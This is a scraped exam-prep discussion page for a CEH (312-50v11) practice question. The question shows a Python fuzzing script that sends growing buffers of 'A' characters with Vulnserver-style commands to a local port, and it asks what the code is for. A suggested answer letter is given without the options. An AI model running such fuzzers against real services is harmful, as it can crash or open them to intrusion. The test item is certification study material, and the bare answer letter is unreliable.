Cyber Monday 2024! Hurry Up, Grab the Special Discount - Save 25% - Ends In 00:00:00 Coupon code: SAVE25
Welcome to Pass4Success

- Free Preparation Discussions

Eccouncil Exam 312-50v11 Topic 4 Question 23 Discussion

Actual exam question for Eccouncil's 312-50v11 exam
Question #: 23
Topic #: 4
[All 312-50v11 Questions]

#!/usr/bin/python import socket buffer=[''''A''''] counter=50 while len(buffer)<=100: buffer.append (''''A''''*counter)

counter=counter+50 commands= [''''HELP'''',''''STATS .'''',''''RTIME .'''',''''LTIME. '''',''''SRUN .''',''''TRUN .'''',''''GMON

.'''',''''GDOG .'''',''''KSTET .'',''''GTER .'''',''''HTER .'''', ''''LTER .'',''''KSTAN .''''] for command in commands: for

buffstring in buffer: print ''''Exploiting'''' +command +'''':''''+str(len(buffstring)) s=socket.socket(socket.AF_INET,

socket.SOCK_STREAM) s.connect(('127.0.0.1', 9999)) s.recv(50) s.send(command+buffstring) s.close()

What is the code written for?

Show Suggested Answer Hide Answer
Suggested Answer: B

Contribute your Thoughts:

Currently there are no comments in this discussion, be the first to comment!


Save Cancel
az-700  pass4success  az-104  200-301  200-201  cissp  350-401  350-201  350-501  350-601  350-801  350-901  az-720  az-305  pl-300  

Warning: Cannot modify header information - headers already sent by (output started at /pass.php:70) in /pass.php on line 77